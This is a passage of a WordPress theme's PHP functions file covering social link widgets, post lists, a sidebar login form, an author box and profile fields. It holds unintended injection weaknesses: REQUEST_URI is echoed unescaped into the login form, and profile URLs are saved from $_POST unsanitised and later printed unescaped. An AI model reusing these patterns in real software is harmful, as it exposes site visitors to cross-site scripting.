function bd_login_logo(){
    if( bdayh_get_option('dashboard_logo') )
    echo '<style type="text/css"> h1 a {  background-image:url('.bdayh_get_option('dashboard_logo').')  !important; background-size: auto !important; } </style>';
}
add_action('login_head',  'bd_login_logo');

/**
 *
 * Custom Gravatar
 *
 */
function bd_custom_gravatar ($avatar_defaults) {
    $bd_gravatar = bdayh_get_option( 'gravatar' );
    if($bd_gravatar){
        $custom_avatar = bdayh_get_option( 'gravatar' );
        $avatar_defaults[$custom_avatar] = "Custom Gravatar";
    }
    return $avatar_defaults;
}
add_filter( 'avatar_defaults', 'bd_custom_gravatar' );

/**
 *
 * Pagination
 *
 */
function bd_pagenavi(){
?>
    <div class="pagination">
      <div class="wp-pagenavi">
        <?php bd_get_pagenavi() ?>
      </div>
    </div><!-- pagination/-->
<?php
}

/**
 *
 * Custom Comments
 *
 */
function custom_comments($comment, $args, $depth){
    $GLOBALS['comment'] = $comment; ?>
    <li id="li-comment-<?php comment_ID() ?>" class="single_comment">
      <div id="comment-<?php comment_ID(); ?>" class="comment-wrap">
        <div class="comment-author vcard comment-avatar">
          <?php
          echo get_avatar( $comment, 67 );
          ?>
        </div>
        <?php if ($comment->comment_approved == '0') : ?>
        <em class="wait_mod">
        <?php _e('Your comment is awaiting moderation.', 'bd'); ?>
        </em>
        <?php endif; ?>
        <div class="author-comment">
          <?php printf(__('%s ', 'bd'), get_comment_author_link()) ?>
          <div class="clear"></div>
          <div class="comment-meta commentmetadata">
            <a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>">
            <?php printf(__('%1$s at %2$s', 'bd'), get_comment_date(),  get_comment_time()) ?>
            </a>
            <?php edit_comment_link(__('(Edit)', 'bd'),'  ','') ?>
          </div>
        </div>
        <div class="clear"></div>
        <div class="comment-content">
          <?php comment_text() ?>
        </div>
        <div class="clear"></div>
        <div class="reply">
          <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
        </div>
      </div>
<?php
}

/**
 *
 * Footer Social
 *
 */
function footer_widget_social(){
?>
    <?php
        if(bdayh_get_option('social_networking') == 1){
    ?>
        <ul class="widget_social">
        <?php if(bdayh_get_option('linkedin_url') != '') { ?>
            <li class="linkedin">
              <a href="<?php echo bdayh_get_option('linkedin_url'); ?>" title="linkedin"> linkedin </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('digg_url') != '') { ?>
            <li class="digg">
              <a href="<?php echo bdayh_get_option('digg_url'); ?>" title="digg"> digg </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('foursquare_url') != '') { ?>
            <li class="foursquare">
              <a href="<?php echo bdayh_get_option('foursquare_url'); ?>" title="foursquare"> foursquare </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('instagram_url') != '') { ?>
            <li class="instagram">
              <a href="<?php echo bdayh_get_option('instagram_url'); ?>" title="instagram"> instagram </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('vimeo_url') != '') { ?>
            <li class="vimeo">
              <a href="<?php echo bdayh_get_option('vimeo_url'); ?>" title="vimeo"> vimeo </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('tumblr_url') != '') { ?>
            <li class="tumblr">
              <a href="<?php echo bdayh_get_option('tumblr_url'); ?>" title="tumblr"> tumblr </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('blogger_url') != '') { ?>
            <li class="blogger">
              <a href="<?php echo bdayh_get_option('blogger_url'); ?>" title="blogger"> blogger </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('deviantart_url') != '') { ?>
            <li class="deviantart">
              <a href="<?php echo bdayh_get_option('deviantart_url'); ?>" title="deviantart"> deviantart </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('envato_url') != '') { ?>
            <li class="envato">
              <a href="<?php echo bdayh_get_option('envato_url'); ?>" title="envato"> envato </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('skype_url') != '') { ?>
            <li class="skype">
              <a href="skype:<?php echo bdayh_get_option('skype_url'); ?>?call" title="skype"> skype </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('myspace_url') != '') { ?>
            <li class="myspace">
              <a href="<?php echo bdayh_get_option('myspace_url'); ?>" title="myspace"> myspace </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('reddit_url') != '') { ?>
            <li class="reddit">
              <a href="<?php echo bdayh_get_option('reddit_url'); ?>" title="reddit"> reddit </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('behance_url') != '') { ?>
            <li class="behance">
              <a href="<?php echo bdayh_get_option('behance_url'); ?>" title="behance"> behance </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('youtube_url') != '') { ?>
            <li class="youtube">
              <a href="<?php echo bdayh_get_option('youtube_url'); ?>" title="youtube"> youtube </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('twitter_url') != '') { ?>
            <li class="twitter">
              <a href="<?php echo bdayh_get_option('twitter_url'); ?>" title="twitter"> twitter </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('rss_url') != '') { ?>
            <li class="rss">
              <a href="<?php echo bdayh_get_option('rss_url'); ?>" title="rss"> rss </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('pinterest_url') != '') { ?>
            <li class="pinterest">
              <a href="<?php echo bdayh_get_option('pinterest_url'); ?>" title="pinterest"> pinterest </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('gplus_url') != '') { ?>
            <li class="googleplus">
              <a href="<?php echo bdayh_get_option('gplus_url'); ?>" title="googleplus"> googleplus </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('flickr_url') != '') { ?>
            <li class="flickr">
              <a href="<?php echo bdayh_get_option('flickr_url'); ?>" title="flickr"> flickr </a>
            </li>
        <?php } ?>
        <?php if(bdayh_get_option('facebook_url') != '') { ?>
            <li class="facebook">
              <a href="<?php echo bdayh_get_option('facebook_url'); ?>" title="facebook"> facebook </a>
            </li>
        <?php } ?>
      </ul><!-- Social/-->
    <?php
    }
?>
<?php
}

/**
 *
 * Widget Social
 *
 */
function widget_social(){
?>
  <ul class="widget_social">

    <?php if(bdayh_get_option('linkedin_url') != '') { ?>
        <li class="linkedin">
          <a href="<?php echo bdayh_get_option('linkedin_url'); ?>" title="linkedin"> linkedin </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('digg_url') != '') { ?>
        <li class="digg">
          <a href="<?php echo bdayh_get_option('digg_url'); ?>" title="digg"> digg </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('foursquare_url') != '') { ?>
        <li class="foursquare">
          <a href="<?php echo bdayh_get_option('foursquare_url'); ?>" title="foursquare"> foursquare </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('instagram_url') != '') { ?>
        <li class="instagram">
          <a href="<?php echo bdayh_get_option('instagram_url'); ?>" title="instagram"> instagram </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('vimeo_url') != '') { ?>
        <li class="vimeo">
          <a href="<?php echo bdayh_get_option('vimeo_url'); ?>" title="vimeo"> vimeo </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('tumblr_url') != '') { ?>
        <li class="tumblr">
          <a href="<?php echo bdayh_get_option('tumblr_url'); ?>" title="tumblr"> tumblr </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('blogger_url') != '') { ?>
        <li class="blogger">
          <a href="<?php echo bdayh_get_option('blogger_url'); ?>" title="blogger"> blogger </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('deviantart_url') != '') { ?>
        <li class="deviantart">
          <a href="<?php echo bdayh_get_option('deviantart_url'); ?>" title="deviantart"> deviantart </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('envato_url') != '') { ?>
        <li class="envato">
          <a href="<?php echo bdayh_get_option('envato_url'); ?>" title="envato"> envato </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('skype_url') != '') { ?>
        <li class="skype">
          <a href="skype:<?php echo bdayh_get_option('skype_url'); ?>?call" title="skype"> skype </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('myspace_url') != '') { ?>
        <li class="myspace">
          <a href="<?php echo bdayh_get_option('myspace_url'); ?>" title="myspace"> myspace </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('reddit_url') != '') { ?>
        <li class="reddit">
          <a href="<?php echo bdayh_get_option('reddit_url'); ?>" title="reddit"> reddit </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('behance_url') != '') { ?>
        <li class="behance">
          <a href="<?php echo bdayh_get_option('behance_url'); ?>" title="behance"> behance </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('youtube_url') != '') { ?>
        <li class="youtube">
          <a href="<?php echo bdayh_get_option('youtube_url'); ?>" title="youtube"> youtube </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('twitter_url') != '') { ?>
        <li class="twitter">
          <a href="<?php echo bdayh_get_option('twitter_url'); ?>" title="twitter"> twitter </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('rss_url') != '') { ?>
        <li class="rss">
          <a href="<?php echo bdayh_get_option('rss_url'); ?>" title="rss"> rss </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('pinterest_url') != '') { ?>
        <li class="pinterest">
          <a href="<?php echo bdayh_get_option('pinterest_url'); ?>" title="pinterest"> pinterest </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('gplus_url') != '') { ?>
        <li class="googleplus">
          <a href="<?php echo bdayh_get_option('gplus_url'); ?>" title="googleplus"> googleplus </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('flickr_url') != '') { ?>
        <li class="flickr">
          <a href="<?php echo bdayh_get_option('flickr_url'); ?>" title="flickr"> flickr </a>
        </li>
    <?php } ?>

    <?php if(bdayh_get_option('facebook_url') != '') { ?>
        <li class="facebook">
          <a href="<?php echo bdayh_get_option('facebook_url'); ?>" title="facebook"> facebook </a>
        </li>
    <?php } ?>

  </ul><!-- Social/-->

<?php
}

/**
 *
 * News In Picture
 *
 */
function bd_news_pic($order , $numberOfPosts = 9 , $cats = 1 ){
    global $post;
    $orig_post = $post;
    $lastPosts = get_posts(	$args = array('numberposts' => $numberOfPosts, 'category' => $cats ));
    get_posts('category='.$cats.'&numberposts='.$numberOfPosts);
    echo '<div class="news_pic">';
    foreach($lastPosts as $post): setup_postdata($post);
?>
        <?php
        $img_w      = 55;
        $img_h      = 55;
        $thumb      = bd_post_image('full');
        $image      = aq_resize( $thumb, $img_w, $img_h, true );
        $alt        = get_the_title();
        $link       = get_permalink();
        if (strpos(bd_post_image(), 'youtube'))
        {
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        }
        elseif (strpos(bd_post_image(), 'vimeo'))
        {
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        }
        elseif (strpos(bd_post_image(), 'dailymotion'))
        {
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        }
        else
        {
            if($image) :
                echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. $image .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
            endif;
        }
        ?>
<?php
    endforeach;
    echo'</div>';
    $post = $orig_post;
}

/**
 *
 * Latest Pots Cat
 *
 */
function cherry_last_posts_cat($numberOfPosts = 5 , $thumb = true , $cats = 1){
    global $post;
    $orig_post = $post;
    $lastPosts = get_posts('category='.$cats.'&numberposts='.$numberOfPosts);
    foreach($lastPosts as $post): setup_postdata($post);
?>
<li>
    <?php
    $img_w      = 55;
    $img_h      = 55;
    $thumb      = bd_post_image('full');
    $image      = aq_resize( $thumb, $img_w, $img_h, true );
    $alt        = get_the_title();
    $link       = get_permalink();
    if (strpos(bd_post_image(), 'youtube'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'vimeo'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'dailymotion'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    else
    {
        if($image) :
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. $image .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        endif;
    }
    ?>
    <h3><a href="<?php the_permalink(); ?>"><?php the_title();?></a></h3>
    <span class="date"><?php the_time(get_option('date_format'));  ?></span>
    <span class="post-rat"><?php echo bd_wp_post_rate(); ?></span>
</li>
<?php endforeach;
    $post = $orig_post;
}

/**
 *
 * Popular
 *
 */
function AGS_popular_posts($pop_posts = 5 , $thumb = true){
    global $wpdb , $post;
    $orig_post = $post;
    $popularposts = "SELECT ID,post_title,post_date,post_author,post_content,post_type FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY comment_count DESC LIMIT 0,".$pop_posts;
    $posts = $wpdb->get_results($popularposts);
    if($posts){
        global $post;
        foreach($posts as $post){
            setup_postdata($post);
?>
<li>
    <?php
    $img_w      = 55;
    $img_h      = 55;
    $thumb      = bd_post_image('full');
    $image      = aq_resize( $thumb, $img_w, $img_h, true );
    $alt        = get_the_title();
    $link       = get_permalink( $post->ID );
    if (strpos(bd_post_image(), 'youtube'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'vimeo'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'dailymotion'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    else
    {
        if($image) :
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. $image .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        endif;
    }
    ?>
    <h3><a href="<?php echo get_permalink( $post->ID ) ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'bd' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php echo the_title(); ?></a></h3>
    <span class="date"><?php the_time(get_option('date_format'));  ?></span>
    <span class="post-rat"><?php echo bd_wp_post_rate(); ?></span>
</li>
<?php
}
}
    $post = $orig_post;
}

/**
 *
 * Comments
 *
 */
function cherry_commented($comment_posts = 5 , $avatar_size = 55){
    $comments = get_comments('status=approve&number='.$comment_posts);
    foreach ($comments as $comment) {
    if(isset($comment->ID)){ echo $comment->ID; }
?>
<li>
    <div class="post_thumbnail"><?php echo get_avatar( $comment, $avatar_size ); ?></div>
    <h3><a href="<?php echo get_permalink($comment->comment_post_ID ); ?>#comment-<?php echo $comment->comment_ID; ?>"><?php echo strip_tags($comment->comment_author); ?> : <?php echo wp_html_excerpt( $comment->comment_content, 67 ); ?> ...</a></h3>
</li>
<?php
}
}

/**
 *
 * Recent
 *
 */
function cherry_last_posts($numberOfPosts = 5 , $thumb = true){
    global $post;
    $orig_post = $post;
    $lastPosts = get_posts('numberposts='.$numberOfPosts);
    foreach($lastPosts as $post): setup_postdata($post);
?>
<li>
    <?php
    $img_w      = 55;
    $img_h      = 55;
    $thumb      = bd_post_image('full');
    $image      = aq_resize( $thumb, $img_w, $img_h, true );
    $alt        = get_the_title();
    $link       = get_permalink();
    if (strpos(bd_post_image(), 'youtube'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'vimeo'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    elseif (strpos(bd_post_image(), 'dailymotion'))
    {
        echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. bd_post_image('full') .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
    }
    else
    {
        if($image) :
            echo '<div class="post_thumbnail"><a href="'. $link .'" title="'. $alt .'"><img src="'. $image .'" width="'. $img_w .'" height="'. $img_h .'" alt="'. $alt .'" /></a></div><!-- .post-image/-->' ."\n";
        endif;
    }
    ?>
    <h3><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( '%s', 'bd' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h3>
    <span class="date"><?php the_time(get_option('date_format')); ?></span>
    <span class="post-rat"><?php echo bd_wp_post_rate(); ?></span>
</li>
<?php
    endforeach;
    $post = $orig_post;
}

/**
 *
 * Login form
 *
 */
function cherry_login_form( $login_only  = 0 ){
    global $user_ID, $user_identity, $user_level;
    if ( $user_ID ) :
?>
<?php if( empty( $login_only ) ): ?>
<div class="login_user">
<div class="post_thumbnail">
    <?php echo get_avatar( $user_ID, $size = '79'); ?>
</div>
<p> <?php _e( 'Welcome' , 'bd' ) ?> <a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ) ?>"><?php echo $user_identity ?></a></p>
<ol class="login_list">
<li class="userWpAdmin">
    <a href="<?php echo home_url() ?>/wp-admin/"><?php _e( 'Dashboard' , 'bd' ) ?></a>
</li>
<li class="userprofile">
    <a href="<?php echo home_url() ?>/wp-admin/profile.php"><?php _e( 'Your Profile' , 'bd' ) ?></a>
</li>
<li class="userlogout">
    <a href="<?php echo wp_logout_url(); ?>"><?php _e( 'Logout' , 'bd' ) ?></a>
</li>
</ol>

<!-- Author social/-->
<div class="author_social">
<?php if ( get_the_author_meta( 'url' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'url' , $user->ID); ?>" title="<?php echo $user_identity ?> <?php _e( 'site', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/home.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'facebook' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'facebook' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Facebook', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/facebook.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'twitter' , $user_ID) ) : ?>
    <a href="http://twitter.com/<?php the_author_meta( 'twitter' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Twitter', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/twitter.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'google' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'google' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Google+', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/gplus.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'linkedin' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'linkedin' , $user_ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Linkedin', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/linkedin.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'pinterest' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'pinterest' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Pinterest', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/pinterest.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'youtube' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'youtube' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on YouTube', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/youtube.png" alt="" />
    </a>
<?php endif ?>
<?php if ( get_the_author_meta( 'flickr' , $user_ID) ) : ?>
    <a href="<?php the_author_meta( 'flickr' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Flickr', 'bd' ); ?>">
        <img src="<?php echo BD_IMG; ?>/small_social_icons/flickr.png" alt="" />
    </a>
<?php endif ?>
</div>
</div>
<?php endif; ?>
<?php else: ?>
<div class="login_form">
<form action="<?php echo home_url() ?>/wp-login.php" method="post">
<div class="username" >
  <input type="text" name="log" id="log" size="30" placeholder="User Name"  value="<?php _e( 'Username' , 'bd' ) ?>"  />
</div>
<div class="password" >
  <input type="password" name="pwd" size="30" placeholder="Password" value="<?php _e( 'Password' , 'bd' ) ?>" />
</div>
<div class="remember">
  <input name="rememberme" id="rememberme" type="checkbox" checked="checked" value="forever" />
  <label>
    <?php _e( 'Remember Me' , 'bd' ) ?>
  </label>
</div>
<div class="go">
  <button value="<?php _e( 'Login' , 'bd' ) ?>" name="Submit" type="submit">
    <?php _e( 'Login' , 'bd' ) ?>
  </button>
  <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
</div>
<ol class="login_list">
  <li>
    <a href="<?php echo home_url() ?>/wp-login.php?action=lostpassword">
        <?php _e( 'Forgot your password?' , 'bd' ) ?>
    </a>
  </li>
</ol>
</form>
</div>
<?php
    endif;
}

/**
 *
 * Author
 *
 */
function bd_author_box($user = 10,$avatar = true , $social = true ){
    if( $avatar ) :
    ?>
    <div class="post_thumbnail">
        <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'MFW_author_bio_avatar_size', 79 ) ); ?>
    </div>
    <?php endif; ?>
    <p>
        <?php the_author_meta( 'description' ); ?>
    </p>
    <!-- Author social/-->
    <div class="author_social">
        <?php if ( get_the_author_meta( 'url' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'url' , $user->ID); ?>" title="<?php echo $user_identity ?> <?php _e( 'site', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/home.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'facebook' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'facebook' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Facebook', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/facebook.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'twitter' , $user_ID) ) : ?>
            <a href="http://twitter.com/<?php the_author_meta( 'twitter' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Twitter', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/twitter.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'google' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'google' ); ?>" title="<?php echo $user_identity ?><?php _e( '  on Google+', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/gplus.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'linkedin' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'linkedin' , $user_ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Linkedin', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/linkedin.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'pinterest' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'pinterest' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Pinterest', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/pinterest.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'youtube' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'youtube' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on YouTube', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/youtube.png" alt="" />
            </a>
        <?php endif ?>
        <?php if ( get_the_author_meta( 'flickr' , $user_ID) ) : ?>
            <a href="<?php the_author_meta( 'flickr' , $user->ID); ?>" title="<?php echo $user_identity ?><?php _e( '  on Flickr', 'bd' ); ?>">
                <img src="<?php echo BD_IMG; ?>/small_social_icons/flickr.png" alt="" />
            </a>
        <?php endif ?>
    </div>
<?php
}

/**
 *
 * Add user's social accounts
 *
 */
add_action( 'show_user_profile', 'cherry_show_extra_profile_fields' );
add_action( 'edit_user_profile', 'cherry_show_extra_profile_fields' );
function cherry_show_extra_profile_fields( $user ){
?>
<h3><?php _e( 'Social Networking', 'bd' ) ?></h3>
<table class="form-table">
  <tr>
    <th><label for="facebook">FaceBook URL</label></th>
    <td>
        <input type="text" name="facebook" id="facebook" value="<?php echo esc_attr( get_the_author_meta( 'facebook', $user->ID ) ); ?>" class="regular-text" /><br />
      </td>
  </tr>
  <tr>
    <th><label for="twitter">Twitter Username</label></th>
    <td>
        <input type="text" name="twitter" id="twitter" value="<?php echo esc_attr( get_the_author_meta( 'twitter', $user->ID ) ); ?>" class="regular-text" /><br />
      </td>
  </tr>
  <tr>
    <th><label for="google">Google + URL</label></th>
    <td>
        <input type="text" name="google" id="google" value="<?php echo esc_attr( get_the_author_meta( 'google', $user->ID ) ); ?>" class="regular-text" /><br />
      </td>
  </tr>
  <tr>
    <th><label for="linkedin">linkedIn URL</label></th>
    <td>
        <input type="text" name="linkedin" id="linkedin" value="<?php echo esc_attr( get_the_author_meta( 'linkedin', $user->ID ) ); ?>" class="regular-text" /><br />
      </td>
  </tr>
  <tr>
    <th><label for="pinterest">Pinterest URL</label></th>
    <td>
        <input type="text" name="pinterest" id="pinterest" value="<?php echo esc_attr( get_the_author_meta( 'pinterest', $user->ID ) ); ?>" class="regular-text" /><br />
      </td>
  </tr>
  <tr>
    <th><label for="youtube">YouTube URL</label></th>
    <td>
        <input type="text" name="youtube" id="youtube" value="<?php echo esc_attr( get_the_author_meta( 'youtube', $user->ID ) ); ?>" class="regular-text" /><br />
     </td>
  </tr>
  <tr>
    <th><label for="flickr">Flickr URL</label></th>
    <td>
        <input type="text" name="flickr" id="flickr" value="<?php echo esc_attr( get_the_author_meta( 'flickr', $user->ID ) ); ?>" class="regular-text" /><br />
     </td>
  </tr>
</table>
<?php
}

/**
 *
 * Save user's social accounts
 *
 */
add_action( 'personal_options_update', 'cherry_save_extra_profile_fields' );
add_action( 'edit_user_profile_update', 'cherry_save_extra_profile_fields' );
function cherry_save_extra_profile_fields( $user_id ){
    if ( !current_user_can( 'edit_user', $user_id ) ) return false;
    update_user_meta( $user_id, 'google', $_POST['google'] );
    update_user_meta( $user_id, 'pinterest', $_POST['pinterest'] );
    update_user_meta( $user_id, 'twitter', $_POST['twitter'] );
    update_user_meta( $user_id, 'facebook', $_POST['facebook'] );
    update_user_meta( $user_id, 'linkedin', $_POST['linkedin'] );
    update_user_meta( $user_id, 'flickr', $_POST['flickr'] );
    update_user_meta( $user_id, 'youtube', $_POST['youtube'] );
}

/**
 *
 * Add class
 *
 */
function category_id_class($classes){
    global $post;
    foreach((get_the_category($post->ID)) as $category)
    $classes[] = $category->category_nicename;
    return $classes;
}
add_filter('post_class', 'category_id_class');
add_filter('body_class', 'category_id_class');
add_filter('body_class','bd_classes');
function bd_classes($classes){
    $classes[] = 'dark';
    return $classes;
}

/**
 *
 * Register Nav Menus
 *
 */
if ( function_exists( 'register_nav_menu' ) ){
register_nav_menus(
    array(
        'topnav'   => __('Top Nav', 'bd'),
    )
);

register_nav_menus(
    array(
        'nav'   => __('Nav', 'bd'),
    )
);

}
function bd_nav_fallback(){
    echo '<div class="fallback">'.__( 'You can use WP menu builder to build menus' , 'bd' ).'</div>';
}
/**
 *
 * Register sidebar
 *
 */
function bd_widget_title($title){
    if( empty( $title ) )
    return ' ';
    else return $title;
}
add_filter('widget_title', 'bd_widget_title');
if ( function_exists('register_sidebar') ){

    register_sidebar(array(
        'name' => 'Home Sidebar',
        'description' => 'Home Sidebar.',
        'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget_container">',
        'after_widget' => '</div></div><!--//end widget-->',
        'before_title' => '<h3 class="widget_title">',
        'after_title' => '</h3>'
        )
    );

    register_sidebar(array(
